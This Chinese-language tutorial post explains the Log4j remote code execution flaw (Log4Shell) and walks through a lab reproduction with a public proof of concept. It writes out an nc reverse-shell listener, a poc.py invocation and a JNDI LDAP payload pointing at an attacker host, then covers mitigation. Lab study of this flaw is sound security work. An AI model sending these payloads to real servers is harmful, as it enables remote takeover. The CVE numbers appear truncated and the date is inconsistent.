700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > log4j RCE 漏洞

log4j RCE 漏洞

时间:2020-03-19 12:25:37

相关推荐

log4j RCE 漏洞

漏洞概述

记录本次log4j可以远程命令执行的漏洞。

CVE--44228(log4shell):受影响版本:2.0-beta9(9月发布)-2.14.1(3月发布)

CVE--45046:受影响版本: 2.0-beta9 to 2.15.0, excluding 2.12.2

log4j是一款基于java的日志工具,是Apache logging server的一部分,是使用非常广泛的一种java日志框架,所以受影响范围极广。

漏洞原理

本次漏洞主要涉及:LADP和JNDI。其中JNDI(java naming and directory interface)是底层api接口,为java程序提供命名和目录管理功能。java程序可以通过JNDI来访问LDAP服务。

调用代码格式:${jndi:logging/context-name}

通过构造恶意代码,让服务器执行后访问攻击者的恶意LDAP服务器,然后下载执行具有恶意代码的类文件,实现远程命令执行,如建立回连shell。

恶意代码格式:${jndi:ldap://<host>:<port>/<payload>}

漏洞利用

漏洞利用条件

命令执行利用条件:除了log4j需要在受影响版本外,貌似还要java版本合适,java版本要求在于下面这个参数需设置为true,高版本默认false。

Dcom.sun.jndi.ldap.object.trustURLCodebase=true

漏洞利用步骤

实验环境:kozmer/log4j-shell-poc: A Proof-Of-Concept for the recently found CVE--44228 vulnerability. ()

搭建实验环境

靶机设置的漏洞利用点在username位置。

git clone /kozmer/log4j-shell-poc.git # 下载靶机环境 cd log4j-shell-poc docker build -t log4j-shell-poc . docker run --network host log4j-shell-poc # 建立实验docker环境

利用过程

下载漏洞利用poc

下载所需版本的java包,下载地址:Index of java-local/jdk/8u202-b08 ()

# 第一步,下载poc.py git clone /kozmer/log4j-shell-poc.git # 在kali中git到本地,其中有个poc.py,就是漏洞利用的脚本 # 第二步,下载java包 tar -xf jdk-8u202-linux-x64.tar.gz mv jdk-8u202 /usr/bin# 将下载的java包解压,并移动到/usr/bin # 第三步,修改poc.py脚本 # 编辑poc.py文件,将./jdk1.8.0_202/bin/java的参数全部替换为/usr/bin/jdk1.8.0_202/bin/java。 # 这里替换的路径就是第二步java包所在路径。 # 第四步,get shell nc -nlvp 9001 # 本地开启监听 python3 poc.py --userip 192.168.128.120 --webport 8000 --lport 9001 # 执行poc文件 # --userip,指定kali的ip # --webport,指定kali http服务的端口 # --lport,指定本地正在监听的回连端口 # 第五步,发送恶意代码 ${jndi:ldap://192.168.29.163:1389/a} # 脚本执行完会有提示,将以上内容发送给服务器。发送方式:浏览器访问靶机,并在username位置输入恶意代码。 # 建立shell连接。

看了下代码,几个关键内容:

运行poc.py脚本后,根据传入的参数,生成Exploit.class,可以看generate_payload()和Exploit.java文件。

运行脚本后,会在本地启用ldap和http服务,用于靶机的回连。

根据靶机源代码注释,有问题的参数只设置了username部分,可以看LoginServlet.java文件。

漏洞测试思路

构建恶意代码:${jndi:ldap:///exp},看是否有收到请求记录,初步判断是否存在漏洞。

再定制恶意类文件,构造连接到攻击机的恶意代码,执行远程连接。

漏洞防护

官方给出了响应的修复建议:Log4j – Apache Log4j Security Vulnerabilities

防护总结来讲:要么升级到修复的版本,要么禁用JndiLookup.class。

参考连接

本次实验环境参考:

A Detailed Guide on Log4J Penetration Testing (hackingarticles.in)

kozmer/log4j-shell-poc: A Proof-Of-Concept for the recently found CVE--44228 vulnerability. ()

其他参考:

Yihsiwei/Log4j-exp: 帮助你快速复现Log4j漏洞 ()

0e0w/HackLog4j: 致敬全宇宙最无敌的Java日志库! ()

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。